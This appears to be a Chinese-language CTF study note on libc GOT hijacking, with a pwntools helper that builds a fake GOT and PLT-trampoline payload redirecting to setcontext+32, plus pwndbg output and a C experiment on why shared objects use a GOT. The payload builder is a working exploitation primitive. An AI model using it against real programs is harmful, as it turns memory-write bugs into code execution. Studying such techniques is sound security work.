1. Libc-GOT-Hijacking
    1. trampoline
  2. libc 为啥有 GOT 表?

头文件和 so 动态库对应。

Libc-GOT-Hijacking

got-hijackin 作用 write -> RCE

trampoline

相关符号

>>> hex(libc.dynamic_value_by_tag("DT_PLTGOT"))
'0x1ec000'

>>> hex(libc.get_section_by_name(".plt").header.sh_addr)
'0x22000'

用到了一个弹簧

pwndbg> x/2i 0x7ffff7dcf000 + 0x22000
   0x7ffff7df1000:      push   QWORD PTR [rip+0x1ca002]        # 0x7ffff7fbb008
   0x7ffff7df1006:      bnd jmp QWORD PTR [rip+0x1ca003]        # 0x7ffff7fbb010

把我们填充好的伪造的 linkmap 入栈,然后调用伪造的 runtime resolver (实际上是 setcontext+32)

def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),                               # blank
        p64(got + 0x218),                     # rdi in setcontext
        p64(libc.symbols["setcontext"] + 32), # fake runtime resolver
        p64(plt_trampoline) * 0x40,           # fake GOT 
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )

libc 为啥有 GOT 表?

GOT 是做为可执行文件的时候有的吗?当他作为动态连接库的时候也可以使用…GOT 来跳转?

尝试一下,参考了 GNU libc.so 如何既是共享对象又是独立的可执行文件

//myso.c
#include <unistd.h>

char const __invoke_dynamic_linker__[] __attribute__ ((section (".interp")))
#ifdef __LP64__
  = "/lib64/ld-linux-x86-64.so.2";
#else
  = "/lib/ld-linux.so.2";
#endif

void fun1(){
    write(1, "11", 2);

}

void fun2(){
    fun1();
}

void _start(void)
{
    static char const msg[] = "Hello world!\n";
    fun1();
    write(STDOUT_FILENO, msg, sizeof msg - 1);
    _exit(0);
}

fun2 是通过 GOT 来跳转到 fun1 的,而 fun2 不存在于 GOT 表中

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/ctf/hacker/myso.so:
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
[0x555555558018] _exit@GLIBC_2.2.5 -> 0x555555555030 ◂— endbr64
[0x555555558020] write@GLIBC_2.2.5 -> 0x555555555040 ◂— endbr64
[0x555555558028] fun1 -> 0x555555555050 ◂— endbr64

fun2 如下

pwndbg> disass fun2
Dump of assembler code for function fun2:
   0x000000000000117a <+0>:     endbr64
   0x000000000000117e <+4>:     push   rbp
   0x000000000000117f <+5>:     mov    rbp,rsp
   0x0000000000001182 <+8>:     mov    eax,0x0
   0x0000000000001187 <+13>:    call   0x1090 <fun1@plt>
   0x000000000000118c <+18>:    nop
   0x000000000000118d <+19>:    pop    rbp
   0x000000000000118e <+20>:    ret

所以看起来只有可执行文件时调用的函数存放在 GOT 中。但是我没有找到文档 哎